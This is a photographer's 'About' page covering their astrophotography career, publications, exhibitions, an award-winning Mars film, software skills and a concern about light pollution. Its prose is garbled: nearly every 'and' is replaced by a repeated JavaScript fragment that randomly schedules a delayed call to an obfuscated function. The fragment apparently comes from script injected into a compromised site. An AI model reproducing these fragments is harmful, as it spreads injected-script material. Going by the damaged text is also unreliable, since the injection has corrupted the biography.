ABOUT

 

I began to discover my fascination for the nature of light when I was about 12 years old. I experimented with my camera on a daily basis andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and started to save up for my own darkroom. Later I studied “Visual Communication” at Kassel University, with emphasis on photography andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and film. In 2003, I gained a scholarship in Fine Arts at Kingston University in London. My work has been published in various magazines, books andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and calendars since 1996, such as “Natur”, “Sterne und Weltraum”, “GEO”, “FAZ”, “Sky andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Telescope” (USA), “Ciel et Espace" (France). Exhibition prints of my photography can be seen at sites such as at the UNESCO Cultural Heritage “Völklinger Hütte”, the “Geological Museum Saarbrücken”, at the “Carl-Zeiss-Planetarium Stuttgart”, the “Theodor-Zink-Museum” in Kaiserslautern, at the “Eurogress” in Aachen, the gallery “Kulturraum” in front of the cathedral of Speyer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and at the “Dynamikum” in Pirmasens. My final exam project in 2009 was called “The Return of Mars” andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was shown in the Year of Astronomy 2009, as well as at several International Film Festivals where it won four US-awards (Seattle: Official Best of Fest, Los Angeles: Best Narrator). The soundtrack consisted of noises of nature which I recorded while filming, converted to 5.1 Sound, arranging andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and remixing later in the studio. I am currently writing film scores for cinematic works as well as producing documentary features for the German TV channel ARD.
 

my skills

Software Mac & PC

3D Animation: Maya, After Effects; Video: Avid, Edius, Premiere, Encore DVD; Photo & Graphic Design: Photoshop, Illustrator, InDesign; Web Design: GoLive, Dreamweaver; Music: VST Cubase, Reaktor, Massive, Vienna Symphonic Library

Photography & Media

Aerial photography, Astrophotography, Art & Nude photography, Stereoscopic imaging, Landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andscape, Timelapse & Hyperlapse, Film directing, Camera, Cut, 3D Animation, Film Score, Mixing & Mastering

Art & Science

In exhibitions I'm showing faint light sources of the night sky andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I'm discussing the effect of the human made light pollution. I want to sensitize people to preserve the darkness of the natural night.